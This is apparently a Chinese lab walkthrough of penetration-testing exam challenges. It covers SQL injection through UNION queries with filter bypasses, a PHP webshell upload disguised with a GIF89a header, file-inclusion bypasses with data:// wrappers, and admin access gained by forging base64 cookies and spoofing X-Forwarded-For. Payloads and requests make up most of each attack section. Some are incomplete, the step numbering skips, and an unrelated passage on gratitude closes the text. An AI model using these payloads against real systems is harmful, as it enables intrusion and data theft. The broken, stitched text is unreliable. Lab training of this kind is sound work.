所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

第一步 通过单引号闭合,并且注释绕过
通过尝试发现--+ #被过滤
uuid=xx'
uuid=xx' or '1'='1 页面回显正常
uuid=xx" or '1'='1 页面回显异常



第二步 判断表中列的数量,判断回显的位置
d6' order by 6 or '1'='1
发现order by被过滤,只能1,2,3,4,5,6依次尝试
d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误
d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2


第四步 查询当前数据库的表名
当前数据库
d6'union select 1,database(),3,4,5,6 and '1' = '1
当前数据库中的表
d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1
Article,IS_KEY


第五步 查看表中的列名
d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

第六步 查询表中的值
uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

通过诸如点的闭合,来确定诸如点,多试几次‘、“ 、’)、”)等
注入被过滤,可以使用or '1'='1`、and '1' = '1 、like进行注释绕过
关键字符被过滤,使用双写、大小写结合的方式
判断回显的位置
判断当前库-表-字段-内容
database()\、nformation_schema.tables、 information_schema.columns 、
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
尝试获取webshell,答案就在根目录下key.php文件中。

第一步 生成蚁剑自带的免杀马
第一步 先上传一张图片

第二步 更改后缀和内容
一般是该后缀绕过、添加图片头进行绕过
POST /start/ HTTP/1.1
Host: 192.168.0.109:82
Content-Length: 817
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.109:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywqtFNq7zkjSAwK24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.109:82/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv
Connection: close
------WebKitFormBoundarywqtFNq7zkjSAwK24
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpeg
GIF89a
------WebKitFormBoundarywqtFNq7zkjSAwK24--

第三步 查看发现,可以解析,
如果查看图片直接下载,就说明解析错误


第四步 查看key

文件后缀名的绕过:php、php3、Php、%00截断
文件内容:添加图片头GIF89a、免杀马
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

第一步 查看发现输入,会自动添加个txt

第二步 通过参数,想要data://text/plain伪协议包含
发现php://字符被过滤,无法输入
查看当前目录下的文件
data://text/plain,

第三步 通过大小写和双写结合,进行绕过, 查找key的位置
查看当前目录下的文件
dadata://ta://text/plain,
查看上个目录下的文件
dadata://ta://text/plain,
当前目录下的:hello.txt和index.php两个文件

上级目录下的文件:footer.php [4] => header.php [5] => images [6] => index.php [7] => js [8] => key.php [9] => start ) .txt

第四步 查看key
dadata://ta://text/plain,

常用的:
data://text/plain,
data:text/plain,
双写大小写绕过
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

第一步 查看题目,进行分析
服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了

第二步 构造反序列化
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,
并返回原始的对象结构str=s:8:"CISP-PTE";
s:代表字符类型
8:代表¥TEAM变量的长度
"标量TEAM的值"

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY

第一步 提示 只允许,那就直接添加个地址检测

第二步 绕过本地地址检测,发现没成功
x-forwarded-for :127.0.0.1,提示没有权限


第三步 更改cookie信息
通过观察,判断IsAdmin字段的值,应该是校验是否为管理员权限的,可以更改为true,发现未成功;分析同时对username字段值进行校验,解码发现是guest普通用户,更改为admin编码,数据包重放,发现key
Username=R3Vlc3Q%3D--url解码--R3Vlc3Q--base64解码--Guest
admin--base64编码--YWRtaW4=--url编码--YWRtaW4%3D

Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv; IsAdmin=true; Username=YWRtaW4%3D
x-forwarded-for:127.0.0.1

绕过本地的检测:x-forwarded-for:127.0.0.1
多去尝试更改一写cookie的认证信息
寻常时日中,藏着许多小美好,只等着有心之人去感受:等你回家的那盏灯;刚晾晒过的满是阳光气息的被单;窗台上盛开的那朵花。
做好每一件小事,关心和理解身边的人,用心欣赏路边的风景,把这些组合起来,你离幸福就会越来越近。
怀着一颗感恩的心去经营生活、创造生活,自然会越过越幸福。
—《学会感恩》